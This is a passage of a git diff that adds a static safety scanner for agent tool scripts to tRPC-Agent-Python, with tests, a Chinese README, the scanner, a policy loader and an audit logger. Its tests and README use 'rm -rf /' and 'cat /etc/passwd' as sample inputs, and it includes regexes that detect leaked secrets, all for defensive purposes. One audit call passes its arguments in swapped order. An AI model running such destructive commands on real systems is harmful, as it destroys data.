report.matches if m.rule_id == "R003"] + assert len(r003) > 0 + + def test_requests_whitelist_allowed(self, scanner: SafetyScanner): + """requests.get('https://api.openai.com/...') should NOT trigger R003.""" + content = 'import requests\nr = requests.get("https://api.openai.com/v1/models")' + report = scanner.scan(ScanInput(content, ScriptType.PYTHON)) + r003 = [m for m in report.matches if m.rule_id == "R003"] + assert len(r003) == 0 + + +class TestSafetyScanner: + """Tests for SafetyScanner orchestration — Phase 2.3.""" + + def test_script_type_detection_bash(self, scanner: SafetyScanner): + """Shebang #!/bin/bash should be detected as BASH.""" + report = scanner.scan(ScanInput("#!/bin/bash\necho hello", ScriptType.UNKNOWN)) + assert report.script_type == ScriptType.BASH + + def test_script_type_detection_python(self, scanner: SafetyScanner): + """Shebang #!/usr/bin/env python3 should be detected as PYTHON.""" + report = scanner.scan(ScanInput("#!/usr/bin/env python3\nprint('hello')", ScriptType.UNKNOWN)) + assert report.script_type == ScriptType.PYTHON + + def test_scan_duration_recorded(self, scanner: SafetyScanner): + """Scan duration should be recorded in the report.""" + report = scanner.scan(ScanInput("ls -la", ScriptType.BASH)) + assert report.scan_duration_ms >= 0 + + def test_timestamp_recorded(self, scanner: SafetyScanner): + """Timestamp should be a non-empty string.""" + report = scanner.scan(ScanInput("ls -la", ScriptType.BASH)) + assert isinstance(report.timestamp, str) and len(report.timestamp) > 0 + + def test_decision_high_risk_deny(self, scanner: SafetyScanner): + """CRITICAL risk should result in DENY.""" + report = scanner.scan(ScanInput("rm -rf /", ScriptType.BASH)) + assert report.decision == SafetyDecision.DENY + + def test_report_safety_summary(self, scanner: SafetyScanner): + """Report should have a script_summary.""" + report = scanner.scan(ScanInput("rm -rf /", ScriptType.BASH)) + assert isinstance(report.script_summary, str) + assert len(report.script_summary) > 0 + + +class TestAuditLogger: + """Tests for AuditLogger — Phase 2.4.""" + + def test_log_report_returns_event(self, scanner: SafetyScanner): + """AuditLogger.log_report should return an AuditEvent.""" + report = scanner.scan(ScanInput("rm -rf /", ScriptType.BASH, tool_name="Bash")) + logger = AuditLogger() + event = logger.log_report(report) + assert event.decision == "DENY" + assert event.blocked is True + assert "R001" in event.rule_id + + def test_log_decision_creates_event(self): + """AuditLogger.log_decision should create a valid event.""" + logger = AuditLogger() + event = logger.log_decision( + tool_name="Bash", + decision="DENY", + risk_level="CRITICAL", + rule_id="R001", + scan_duration_ms=1.23, + blocked=True, + ) + assert event.tool_name == "Bash" + assert event.decision == "DENY" + assert event.blocked is True + + def test_audit_event_to_dict(self): + """AuditEvent.to_dict() should produce correct structure.""" + from trpc_agent_sdk.tools.safety._types import AuditEvent + event = AuditEvent("Bash", "DENY", "CRITICAL", "R001", 1.23, False, True, "2026-07-20T00:00:00") + d = event.to_dict() + assert d["tool_name"] == "Bash" + assert d["decision"] == "DENY" + assert d["blocked"] is True + assert d["masked"] is False + + def test_audit_event_otel_attributes(self): + """AuditEvent should produce OTel-compatible attributes.""" + from trpc_agent_sdk.tools.safety._types import AuditEvent + event = AuditEvent("Bash", "DENY", "CRITICAL", "R001", 1.23, False, True, "2026-07-20T00:00:00") + otel = event.to_otel_attributes() + expected_keys = { + "tool.safety.decision", + "tool.safety.risk_level", + "tool.safety.rule_id", + "tool.safety.blocked", + "tool.safety.masked", + "tool.safety.duration_ms", + } + assert set(otel.keys()) == expected_keys diff --git a/trpc_agent_sdk/tools/safety/README.md b/trpc_agent_sdk/tools/safety/README.md new file mode 100644 index 00000000..c554b610 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/README.md @@ -0,0 +1,141 @@ +# Tool Script Safety Guard 设计说明 + +## 概述 + +Tool Script Safety Guard 是 tRPC-Agent-Python 框架的安全检查系统，用于在 Tool、MCP Tool、Skill 和 CodeExecutor 执行脚本之前进行静态安全扫描。 + +## 规则体系 + +### 7 条风险规则 + +| 规则 ID | 风险类型 | 默认决策 | 默认风险等级 | +|---------|---------|---------|-------------| +| R001 | 危险文件操作 | DENY | CRITICAL | +| R002 | 敏感文件读取 | DENY | HIGH | +| R003 | 非白名单网络外连 | DENY | HIGH | +| R004 | 进程/系统命令执行 | DENY | HIGH | +| R005 | 依赖安装 | DENY | HIGH | +| R006 | 资源滥用 | DENY | MEDIUM | +| R007 | 敏感信息泄漏 | DENY | CRITICAL | + +### 决策逻辑 + +``` +CRITICAL/HIGH 匹配 → DENY (拦截执行) +MEDIUM 匹配 → NEEDS_HUMAN_REVIEW (需人工审核) +无匹配 → 默认策略 (默认: NEEDS_HUMAN_REVIEW) +LOW 匹配 → ALLOW (放行) +``` + +## 接入方式 + +### 方式一：Filter（推荐） + +```python +from trpc_agent_sdk.tools import BashTool + +# 在创建 Tool 时启用 safety_filter +tool = BashTool(filters_name=["safety_filter"]) +``` + +SafetyFilter 自动注册为 `FilterType.TOOL`，通过 `BaseTool._run_filters()` 集成到执行链路中。高危脚本在 `_before()` 阶段被拦截，`FilterResult.is_continue` 设为 `False`。 + +### 方式二：Wrapper（独立封装） + +```python +from trpc_agent_sdk.tools.safety import SafetyWrapper + +wrapper = SafetyWrapper() +result = await wrapper.run_safe( + tool_name="Bash", + script_content="rm -rf /", + execute_fn=lambda: run_command("rm -rf /"), +) +if result["blocked"]: + print(f"Blocked: {result['error']}") +``` + +## 与现有系统的关系 + +### Safety Guard vs 沙箱隔离 + +| 维度 | Safety Guard | 沙箱隔离 (CodeExecutor 容器) | +|------|-------------|---------------------------| +| 时机 | 执行前静态扫描 | 执行时运行时隔离 | +| 方式 | 规则匹配 + AST 分析 | Docker 容器 / e2b 沙箱 | +| 作用 | 阻止已知危险模式 | 限制未知恶意行为的破坏范围 | +| 局限 | 无法检测混淆/动态代码 | 无法检测语义级别的恶意逻辑 | +| 关系 | **互补**：先过安检，再进沙箱 | + +**Safety Guard 不能替代沙箱隔离**，因为： +- 静态分析无法检测编码、加密、反射调用等混淆手段 +- 沙箱提供的是运行时的资源隔离（网络、文件系统、进程） +- 最佳实践是两者结合：Safety Guard 做前置拦截，CodeExecutor 容器做深度隔离 + +### Safety Guard vs Filter 系统 + +SafetyFilter 是 `FilterType.TOOL` 类型的一个 Filter 实现，通过 `BaseTool._run_filters()` 自动集成到 Tool 执行链路中。 + +### Safety Guard vs Telemetry + +SafetyFilter 通过 `AuditEvent.to_otel_attributes()` 向 OpenTelemetry span 写入以下属性： + +``` +tool.safety.decision = "DENY" +tool.safety.risk_level = "CRITICAL" +tool.safety.rule_id = "R001" +tool.safety.blocked = "true" +tool.safety.masked = "false" +tool.safety.duration_ms = "12.34" +``` + +### Safety Guard vs CodeExecutor + +CodeExecutor 使用 Docker 容器或 e2b 沙箱进行代码执行。Safety Guard 可以扫描 CodeExecutor 要执行的代码，在送入沙箱之前先做安全检查。两者叠加提供纵深防御。 + +## 如何扩展新规则 + +1. 在 `tool_safety_policy.yaml` 的 `rules` 下新增一个规则块，定义 `enabled`, `decision`, `risk_level`, `patterns` +2. 如果新模式需要新的检测逻辑（非纯正则/AST），在 `_bash_scanner.py` 或 `_python_scanner.py` 中新增扫描方法 +3. 在 `_scanner.py` 的 `SafetyScanner.scan()` 中调用新方法 +4. 在 `_types.py` 的 `RiskCategory` 枚举中新增对应类别（可选） +5. 添加测试样本和单元测试 + +## 已知限制 + +1. **静态分析无法检测运行时行为**：混淆代码、动态生成命令、反射调用、base64 解码执行可绕过 +2. **不能替代沙箱隔离**：这是前置检查，不是运行时隔离——沙箱（CodeExecutor 的容器模式）提供更深层的安全 +3. **误报风险**：`while True` 可能是合法长轮询，`cat /etc/passwd` 可能是测试环境 +4. **漏报风险**：编码后的 payload、base64 解码执行的命令、动态 import 无法静态检测 +5. **仅覆盖脚本内容**：不检测 Tool 本身的行为，只检测 Tool 要执行的脚本/命令参数 +6. **规则匹配是线性扫描**：复杂脚本可能触发多条规则，需要人工综合判断 + +## 配置策略文件 + +`tool_safety_policy.yaml` 位于项目根目录，修改后无需重启应用，调用 `SafetyPolicy.reload()` 即可热加载。 + +```yaml +# 修改白名单域名 +allowed_domains: + - "api.openai.com" + - "my-company-internal-api.com" +``` + +## 模块结构 + +``` +trpc_agent_sdk/tools/safety/ +├── __init__.py # 模块入口，导出公开 API +├── _types.py # 数据模型（枚举 + 数据类） +├── _policy.py # 策略文件加载器 +├── _bash_scanner.py # Bash 脚本扫描器（正则） +├── _python_scanner.py # Python 脚本扫描器（AST） +├── _scanner.py # 扫描编排引擎 +├── _audit.py # 审计日志 + OTel 埋点 +├── _safety_filter.py # SafetyFilter（Filter 集成） +├── _wrapper.py # 独立 Wrapper 接入 +├── tool_safety_policy.yaml # 可配置策略文件 +├── tool_safety_report.json # 示例输出报告 +├── tool_safety_audit.jsonl # 示例审计日志 +└── README.md # 本设计文档 +``` \ No newline at end of file diff --git a/trpc_agent_sdk/tools/safety/__init__.py b/trpc_agent_sdk/tools/safety/__init__.py new file mode 100644 index 00000000..e8ae8ff5 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/__init__.py @@ -0,0 +1,56 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Tool Script Safety Guard — Module Entry Point. + +This module provides a pluggable security scanning system for scripts +executed by Tools, MCP Tools, Skills, and CodeExecutors in the TRPC +Agent framework. + +Usage:: + + # Via Filter (recommended) + from trpc_agent_sdk.tools import BashTool + tool = BashTool(filters_name=["safety_filter"]) + + # Via Wrapper (standalone) + from trpc_agent_sdk.tools.safety import SafetyWrapper + wrapper = SafetyWrapper() + result = await wrapper.run_safe(tool_name="Bash", script_content="ls -la") +""" + +from trpc_agent_sdk.tools.safety._audit import AuditLogger +from trpc_agent_sdk.tools.safety._bash_scanner import BashScanner +from trpc_agent_sdk.tools.safety._policy import SafetyPolicy +from trpc_agent_sdk.tools.safety._python_scanner import PythonScanner +from trpc_agent_sdk.tools.safety._safety_filter import SafetyFilter +from trpc_agent_sdk.tools.safety._scanner import SafetyScanner +from trpc_agent_sdk.tools.safety._types import AuditEvent +from trpc_agent_sdk.tools.safety._types import RiskCategory +from trpc_agent_sdk.tools.safety._types import RiskLevel +from trpc_agent_sdk.tools.safety._types import RuleMatch +from trpc_agent_sdk.tools.safety._types import SafetyDecision +from trpc_agent_sdk.tools.safety._types import SafetyReport +from trpc_agent_sdk.tools.safety._types import ScanInput +from trpc_agent_sdk.tools.safety._types import ScriptType +from trpc_agent_sdk.tools.safety._wrapper import SafetyWrapper + +__all__ = [ + "AuditEvent", + "AuditLogger", + "BashScanner", + "PythonScanner", + "RiskCategory", + "RiskLevel", + "RuleMatch", + "SafetyDecision", + "SafetyFilter", + "SafetyPolicy", + "SafetyReport", + "SafetyScanner", + "SafetyWrapper", + "ScanInput", + "ScriptType", +] diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py new file mode 100644 index 00000000..b0380d30 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -0,0 +1,242 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Audit logging and monitoring events for the Tool Script Safety Guard. + +This module provides the AuditLogger class which converts scan results +into structured audit events, writes JSONL audit logs, and integrates +with OpenTelemetry for distributed tracing. +""" + +from __future__ import annotations + +import datetime +import json +import os +from typing import Optional + +from trpc_agent_sdk.log import logger + +from ._types import AuditEvent +from ._types import SafetyReport + + +class AuditLogger: + """Logger for safety scan audit events. + + Converts SafetyReport objects into structured AuditEvent entries, + writes them to JSONL files, and provides OTel-compatible attributes. + + Usage:: + + logger = AuditLogger() + logger.log_report(report) + # Or write to a file: + logger = AuditLogger(log_file="tool_safety_audit.jsonl") + logger.log_report(report) + """ + + def __init__( + self, + log_file: Optional[str] = None, + enable_otel: bool = True, + ) -> None: + """Initialize the audit logger. + + Args: + log_file: Optional path to a JSONL file for persistent logging. + enable_otel: Whether to emit OpenTelemetry span attributes. + """ + self._log_file = log_file + self._enable_otel = enable_otel + + def log_report(self, report: SafetyReport) -> AuditEvent: + """Log a SafetyReport as an audit event. + + Creates an AuditEvent from the report, writes it to the JSONL + log file (if configured), and emits OTel span attributes + (if enabled). + + Args: + report: The SafetyReport to log. + + Returns: + The created AuditEvent. + """ + event = self._report_to_event(report) + + # Write to JSONL file if configured + if self._log_file: + self._write_jsonl(event) + + # Emit telemetry events + if self._enable_otel: + self._emit_otel(event, report) + + # Log at info level + if report.is_blocked: + logger.warning( + "Safety audit: tool=%s decision=%s risk=%s rules=%s duration=%.1fms blocked=%s", + event.tool_name, + event.decision, + event.risk_level, + event.rule_id, + event.scan_duration_ms, + event.blocked, + ) + else: + logger.info( + "Safety audit: tool=%s decision=%s risk=%s rules=%s duration=%.1fms blocked=%s", + event.tool_name, + event.decision, + event.risk_level, + event.rule_id, + event.scan_duration_ms, + event.blocked, + ) + + return event + + def log_decision( + self, + tool_name: str, + decision: str, + risk_level: str, + rule_id: str, + scan_duration_ms: float, + blocked: bool, + masked: bool = False, + script_type: str = "", + ) -> AuditEvent: + """Create and log an audit event directly from decision parameters. + + Useful when you want to log an audit event without creating a + full SafetyReport first. + + Args: + tool_name: Name of the tool. + decision: The safety decision (ALLOW / DENY / NEEDS_HUMAN_REVIEW). + risk_level: The risk level (LOW / MEDIUM / HIGH / CRITICAL). + rule_id: Comma-separated rule IDs. + scan_duration_ms: Scan duration in milliseconds. + blocked: Whether execution was blocked. + masked: Whether sensitive data was redacted. + script_type: Type of script scanned. + + Returns: + The created AuditEvent. + """ + event = AuditEvent( + tool_name=tool_name, + decision=decision, + risk_level=risk_level, + rule_id=rule_id, + scan_duration_ms=scan_duration_ms, + masked=masked, + blocked=blocked, + timestamp=datetime.datetime.now(datetime.timezone.utc).isoformat(), + script_type=script_type, + ) + + if self._log_file: + self._write_jsonl(event) + + if self._enable_otel: + self._emit_otel_event(event) + + logger.info( + "Safety audit: tool=%s decision=%s risk=%s rules=%s blocked=%s", + tool_name, + decision, + risk_level, + rule_id, + blocked, + ) + + return event + + # ── Event Conversion ───────────────────────────────────────────── + + @staticmethod + def _report_to_event(report: SafetyReport) -> AuditEvent: + """Convert a SafetyReport to an AuditEvent. + + Args: + report: The SafetyReport to convert. + + Returns: + A corresponding AuditEvent. + """ + rule_ids = ",".join(sorted(set(m.rule_id for m in report.matches))) + any_masked = any(m.masked for m in report.matches) + + return AuditEvent( + tool_name=report.tool_name, + decision=report.decision.name, + risk_level=report.risk_level.name, + rule_id=rule_ids if rule_ids else "NONE", + scan_duration_ms=report.scan_duration_ms, + masked=any_masked, + blocked=report.is_blocked, + timestamp=report.timestamp or datetime.datetime.now(datetime.timezone.utc).isoformat(), + script_type=report.script_type.name, + ) + + # ── JSONL Logging ──────────────────────────────────────────────── + + def _write_jsonl(self, event: AuditEvent) -> None: + """Write an audit event to the JSONL log file. + + Args: + event: The AuditEvent to write. + """ + try: + dir_path = os.path.dirname(self._log_file) if self._log_file else "" + if dir_path: + os.makedirs(dir_path, exist_ok=True) + with open(self._log_file, "a", encoding="utf-8") as f: + f.write(json.dumps(event.to_dict(), ensure_ascii=False) + "\n") + except OSError as e: + logger.error("AuditLogger: Failed to write audit log: %s", e) + + # ── OpenTelemetry Integration ──────────────────────────────────── + + @staticmethod + def _emit_otel(report: SafetyReport, event: AuditEvent) -> None: + """Emit OpenTelemetry span attributes for a safety scan. + + Attempts to set span attributes on the current OTel span. + This is a best-effort operation; if OTel is not configured, + the call is silently ignored. + + Args: + report: The original SafetyReport. + event: The converted AuditEvent. + """ + try: + from opentelemetry import trace # noqa: E811 + + span = trace.get_current_span() + if span and span.is_recording(): + span.set_attributes(event.to_otel_attributes()) + except Exception: # pylint: disable=broad-except + # OTel may not be installed or configured — that's fine + pass + + @staticmethod + def _emit_otel_event(event: AuditEvent) -> None: + """Emit OTel span attributes from a direct AuditEvent. + + Args: + event: The AuditEvent to emit. + """ + try: + from opentelemetry import trace # noqa: E811 + + span = trace.get_current_span() + if span and span.is_recording(): + span.set_attributes(event.to_otel_attributes()) + except Exception: # pylint: disable=broad-except + pass diff --git a/trpc_agent_sdk/tools/safety/_bash_scanner.py b/trpc_agent_sdk/tools/safety/_bash_scanner.py new file mode 100644 index 00000000..b4a7289e --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_bash_scanner.py @@ -0,0 +1,240 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Bash script scanner for the Tool Script Safety Guard system. + +This module provides the BashScanner class which performs static analysis +on bash/shell scripts by matching lines against configured risk patterns +from the safety policy. +""" + +from __future__ import annotations + +import re +from typing import Optional + +from ._policy import SafetyPolicy +from ._types import RiskCategory +from ._types import RiskLevel +from ._types import RuleMatch +from ._types import ScanInput + + +class BashScanner: + """Scanner for bash / shell scripts. + + Analyzes script content line by line, matching against regex patterns + defined in the SafetyPolicy. Supports all seven risk categories. + """ + + # ── Domain extraction patterns ── + _DOMAIN_RE = re.compile(r"(?:https?://|ftp://)?([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?" + r"(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?::\d+)?)") + + # ── Sensitive data patterns (for leak detection) ── + _SENSITIVE_PATTERNS: list[tuple[str, str]] = [ + ("API_KEY", r'["\']?API_KEY["\']?\s*[:=]\s*["\']'), + ("api_key", r'["\']?api_key["\']?\s*[:=]\s*["\']'), + ("API_SECRET", r'["\']?API_SECRET["\']?\s*[:=]\s*["\']'), + ("access_token", r'["\']?access_token["\']?\s*[:=]\s*["\']'), + ("secret_key", r'["\']?secret_key["\']?\s*[:=]\s*["\']'), + ("password", r'["\']?password["\']?\s*[:=]\s*["\']'), + ("Authorization Bearer", r'Authorization:\s*Bearer\s+'), + ("PRIVATE_KEY", r"-----BEGIN\s+.*PRIVATE\s+KEY-----"), + ] + + def __init__(self, policy: SafetyPolicy) -> None: + """Initialize the scanner with a safety policy. + + Args: + policy: The loaded SafetyPolicy instance. + """ + self._policy = policy + + def scan(self, scan_input: ScanInput) -> list[RuleMatch]: + """Scan a bash script for security risks. + + Args: + scan_input: The script content and context to scan. + + Returns: + A list of RuleMatch objects for each detected risk. + """ + matches: list[RuleMatch] = [] + lines = scan_input.script_content.split("\n") + + for line_no, line in enumerate(lines, start=1): + line_stripped = line.strip() + + # Skip empty lines and comments + if not line_stripped or line_stripped.startswith("#"): + continue + + line_matches = self._scan_line(line_stripped, line_no, scan_input) + matches.extend(line_matches) + + return matches + + def _scan_line( + self, + line: str, + line_no: int, + scan_input: ScanInput, + ) -> list[RuleMatch]: + """Scan a single line of a bash script. + + Args: + line: The trimmed line content. + line_no: The 1-based line number. + scan_input: Original scan input for context. + + Returns: + List of RuleMatch objects for this line. + """ + matches: list[RuleMatch] = [] + + # Check each configured rule + for rule_name, rule_cfg in self._policy.rules.items(): + if not rule_cfg.enabled: + continue + + # Check regex patterns + for pattern in rule_cfg.patterns: + if re.search(pattern, line, re.IGNORECASE): + # Determine risk category from rule name + category = self._rule_name_to_category(rule_name) + matches.append( + RuleMatch( + rule_id=self._rule_name_to_id(rule_name), + risk_category=category, + risk_level=rule_cfg.risk_level, + evidence=line[:200], + line_number=line_no, + recommendation=self._get_recommendation(category), + masked=False, + )) + break # One match per rule per line + + # Check domain whitelist for network egress rules + if rule_cfg.check_domains and rule_name == "network_egress": + domain_match = self._check_network_egress(line, line_no, scan_input) + if domain_match: + matches.append(domain_match) + + # Check sensitive info leak separately (more granular) + if self._policy.rules.get("sensitive_info_leak", None) and \ + self._policy.rules["sensitive_info_leak"].enabled: + leak_match = self._check_sensitive_leak(line, line_no) + if leak_match: + matches.append(leak_match) + + return matches + + def _check_network_egress( + self, + line: str, + line_no: int, + scan_input: ScanInput, + ) -> Optional[RuleMatch]: + """Check if a line attempts to connect to a non-whitelisted domain. + + Args: + line: The line to check. + line_no: The current line number. + scan_input: Original scan input for context. + + Returns: + A RuleMatch if a non-whitelisted domain is found, None otherwise. + """ + domains = self._DOMAIN_RE.findall(line) + for domain in domains: + if not self._policy.is_domain_allowed(domain): + cfg = self._policy.rules.get("network_egress") + return RuleMatch( + rule_id="R003", + risk_category=RiskCategory.NETWORK_EGRESS, + risk_level=cfg.risk_level if cfg else RiskLevel.HIGH, + evidence=f"Non-whitelisted domain: {domain}", + line_number=line_no, + recommendation="Remove or replace with a whitelisted domain, " + "or add the domain to allowed_domains in the policy", + masked=False, + ) + return None + + def _check_sensitive_leak( + self, + line: str, + line_no: int, + ) -> Optional[RuleMatch]: + """Check if a line leaks sensitive information. + + Args: + line: The line to check. + line_no: The line number. + + Returns: + A RuleMatch if sensitive data leak is detected, None otherwise. + """ + for name, pattern in self._SENSITIVE_PATTERNS: + if re.search(pattern, line): + cfg = self._policy.rules.get("sensitive_info_leak") + return RuleMatch( + rule_id="R007", + risk_category=RiskCategory.SENSITIVE_INFO_LEAK, + risk_level=cfg.risk_level if cfg else RiskLevel.CRITICAL, + evidence=f"Potential sensitive data leak: {name}", + line_number=line_no, + recommendation="Avoid writing secrets to files, logs, or network requests. " + "Use environment variables or a secrets manager instead.", + masked=True, + ) + return None + + # ── Helpers ────────────────────────────────────────────────────── + + @staticmethod + def _rule_name_to_id(rule_name: str) -> str: + """Map a rule name to its rule ID.""" + mapping = { + "dangerous_file_operations": "R001", + "sensitive_file_read": "R002", + "network_egress": "R003", + "process_execution": "R004", + "dependency_installation": "R005", + "resource_abuse": "R006", + "sensitive_info_leak": "R007", + } + return mapping.get(rule_name, "R000") + + @staticmethod + def _rule_name_to_category(rule_name: str) -> RiskCategory: + """Map a rule name to its RiskCategory.""" + mapping = { + "dangerous_file_operations": RiskCategory.DANGEROUS_FILE_OPERATION, + "sensitive_file_read": RiskCategory.DANGEROUS_FILE_OPERATION, + "network_egress": RiskCategory.NETWORK_EGRESS, + "process_execution": RiskCategory.PROCESS_EXECUTION, + "dependency_installation": RiskCategory.DEPENDENCY_INSTALLATION, + "resource_abuse": RiskCategory.RESOURCE_ABUSE, + "sensitive_info_leak": RiskCategory.SENSITIVE_INFO_LEAK, + } + return mapping.get(rule_name, RiskCategory.UNKNOWN) + + @staticmethod + def _get_recommendation(category: RiskCategory) -> str: + """Get a default recommendation for a risk category.""" + recommendations = { + RiskCategory.DANGEROUS_FILE_OPERATION: + "Remove or replace this file operation. Avoid destructive commands like rm -rf.", + RiskCategory.NETWORK_EGRESS: + "Remove network requests to non-whitelisted domains, or add the domain to the policy.", + RiskCategory.PROCESS_EXECUTION: "Avoid executing system commands directly. Use safe APIs instead.", + RiskCategory.DEPENDENCY_INSTALLATION: + "Do not install packages during execution. Pre-install all dependencies.", + RiskCategory.RESOURCE_ABUSE: "Avoid infinite loops, long sleeps, and resource-exhaustive patterns.", + RiskCategory.SENSITIVE_INFO_LEAK: "Do not write secrets to files, logs, or network requests.", + } + return recommendations.get(category, "Review this line for potential security risks.") diff --git a/trpc_agent_sdk/tools/safety/_policy.py b/trpc_agent_sdk/tools/safety/_policy.py new file mode 100644 index 00000000..7f4a6996 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_policy.py @@ -0,0 +1,265 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Policy file loader for the Tool Script Safety Guard system. + +This module provides the SafetyPolicy class which loads and parses the +``tool_safety_policy.yaml`` configuration file. It supports: + +1. Global settings: max timeout, max output size, default decision. +2. Whitelists: allowed domains, allowed commands, forbidden paths. +3. Rule definitions: per-risk-category patterns, decision, risk level. + +The policy file can be modified at runtime without restarting the +application — call ``reload()`` to pick up changes. +""" + +from __future__ import annotations + +import os +import re +from dataclasses import dataclass +from dataclasses import field +from typing import Optional + +import yaml + +from ._types import RiskLevel +from ._types import SafetyDecision + +# ── Policy Data Classes ─────────────────────────────────────────────────── + + +@dataclass +class RuleConfig: + """Configuration for a single risk detection rule. + + Attributes: + enabled: Whether this rule is active. + decision: The safety decision to return when the rule matches. + risk_level: Severity level of matches from this rule. + patterns: List of string patterns to detect (regex or literal). + check_domains: Whether to check domains against the whitelist. + trigger_commands: Commands that trigger domain checking. + """ + + enabled: bool = True + decision: SafetyDecision = SafetyDecision.DENY + risk_level: RiskLevel = RiskLevel.HIGH + patterns: list[str] = field(default_factory=list) + check_domains: bool = False + + +@dataclass +class SafetyPolicy: + """Loaded and parsed safety policy configuration. + + This is the primary API for accessing policy configuration. + Instantiate via :meth:`from_file` or :meth:`from_dict`. + + Attributes: + max_timeout_seconds: Maximum allowed execution time. + max_output_size_bytes: Maximum allowed output size. + default_decision: Fallback decision when no rule matches. + allowed_domains: Domain whitelist (network egress check). + allowed_commands: Command whitelist (bash). + forbidden_paths: Path patterns that are forbidden to access. + rules: Dictionary mapping rule name (str) to RuleConfig. + policy_version: Version identifier of the loaded policy. + """ + + max_timeout_seconds: int = 300 + max_output_size_bytes: int = 10 * 1024 * 1024 # 10 MB + default_decision: SafetyDecision = SafetyDecision.NEEDS_HUMAN_REVIEW + allowed_domains: list[str] = field(default_factory=list) + forbidden_paths: list[str] = field(default_factory=list) + rules: dict[str, RuleConfig] = field(default_factory=dict) + policy_version: str = "" + + _file_path: str = "" + + # ── Factory Methods ─────────────────────────────────────────────── + + @classmethod + def from_file(cls, file_path: str) -> SafetyPolicy: + """Load policy from a YAML file. + + Args: + file_path: Path to the ``tool_safety_policy.yaml`` file. + + Returns: + A fully populated SafetyPolicy instance. + + Raises: + FileNotFoundError: If the file does not exist. + yaml.YAMLError: If the file contains invalid YAML. + """ + if not os.path.exists(file_path): + raise FileNotFoundError(f"Safety policy file not found: {file_path}") + + with open(file_path, "r", encoding="utf-8") as f: + raw = yaml.safe_load(f) + + policy = cls.from_dict(raw or {}) + policy._file_path = file_path + return policy + + @classmethod + def from_dict(cls, raw: dict) -> SafetyPolicy: + """Parse policy from a dictionary (useful for testing). + + Args: + raw: Dictionary parsed from YAML. + + Returns: + A fully populated SafetyPolicy instance. + """ + policy = cls() + + # ── Global settings ── + global_settings = raw.get("global", {}) + if global_settings: + policy.max_timeout_seconds = int(global_settings.get("max_timeout_seconds", 300)) + policy.max_output_size_bytes = int(global_settings.get("max_output_size_bytes", 10 * 1024 * 1024)) + policy.default_decision = _parse_decision(global_settings.get("default_decision", "needs_human_review")) + + # ── Whitelists ── + policy.allowed_domains = raw.get("allowed_domains", []) + if not isinstance(policy.allowed_domains, list): + raise TypeError("allowed_domains must be a list") + policy.forbidden_paths = raw.get("forbidden_paths", []) + if not isinstance(policy.forbidden_paths, list): + raise TypeError("forbidden_paths must be a list") + + # ── Rules ── + rules_raw = raw.get("rules", {}) + for rule_name, rule_cfg in rules_raw.items(): + if not isinstance(rule_cfg, dict): + continue + policy.rules[rule_name] = RuleConfig( + enabled=rule_cfg.get("enabled", True), + decision=_parse_decision(rule_cfg.get("decision", "deny")), + risk_level=_parse_risk_level(rule_cfg.get("risk_level", "high")), + patterns=rule_cfg.get("patterns", []), + check_domains=rule_cfg.get("check_domains", False), + ) + + policy.policy_version = raw.get("policy_version", "") + + return policy + + # ── Public Methods ──────────────────────────────────────────────── + + def reload(self) -> None: + """Reload policy from the original file path. + + This method allows hot-reloading the policy configuration + without restarting the application. + + Raises: + RuntimeError: If the policy was not loaded from a file. + FileNotFoundError: If the file no longer exists. + """ + if not self._file_path: + raise RuntimeError("Cannot reload: policy was not loaded from a file") + new_policy = self.from_file(self._file_path) + self.__dict__.update(new_policy.__dict__) + + def is_domain_allowed(self, domain: str) -> bool: + """Check if a domain is in the allowed domains whitelist. + + Args: + domain: The domain to check (e.g. ``api.openai.com``). + + Returns: + True if the domain is allowed, False otherwise. + """ + if not self.allowed_domains: + return False + return any(domain == d or domain.endswith(f".{d}") for d in self.allowed_domains) + + def is_path_forbidden(self, path: str) -> bool: + """Check if a path matches any forbidden path pattern. + + Args: + path: The file path to check. + + Returns: + True if the path is forbidden, False otherwise. + """ + for forbidden in self.forbidden_paths: + pattern = _glob_to_regex(forbidden) + if re.search(pattern, path): + return True + return False + + def get_rule(self, rule_name: str) -> Optional[RuleConfig]: + """Get a rule configuration by name. + + Args: + rule_name: The rule name (e.g. ``dangerous_file_operations``). + + Returns: + The RuleConfig if found, None otherwise. + """ + return self.rules.get(rule_name) + + +# ── Internal Helpers ────────────────────────────────────────────────────── + + +def _parse_decision(value: str) -> SafetyDecision: + """Parse a decision string into a SafetyDecision enum.""" + mapping = { + "allow": SafetyDecision.ALLOW, + "deny": SafetyDecision.DENY, + "needs_human_review": SafetyDecision.NEEDS_HUMAN_REVIEW, + } + return mapping.get(value.lower(), SafetyDecision.NEEDS_HUMAN_REVIEW) + + +def _parse_risk_level(value: str) -> RiskLevel: + """Parse a risk level string into a RiskLevel enum.""" + mapping = { + "low": RiskLevel.LOW, + "medium": RiskLevel.MEDIUM, + "high": RiskLevel.HIGH, + "critical": RiskLevel.CRITICAL, + } + return mapping.get(value.lower(), RiskLevel.HIGH) + + +def _glob_to_regex(pattern: str) -> str: + """Convert a simple glob pattern to a regex pattern. + + Supports ``*`` (match any characters except slash) and ``**`` + (match any characters including slash). + + Args: + pattern: Glob pattern (e.g. ``~/.ssh/*``, ``/etc/**``). + + Returns: + A compiled regex pattern string. + """ + # Escape regex special characters except * + regex = "" + i = 0 + while i < len(pattern): + c = pattern[i] + if c == "*": + # Check for ** + if i + 1 < len(pattern) and pattern[i + 1] == "*": + regex += ".*" + i += 2 + else: + regex += "[^/]*" + 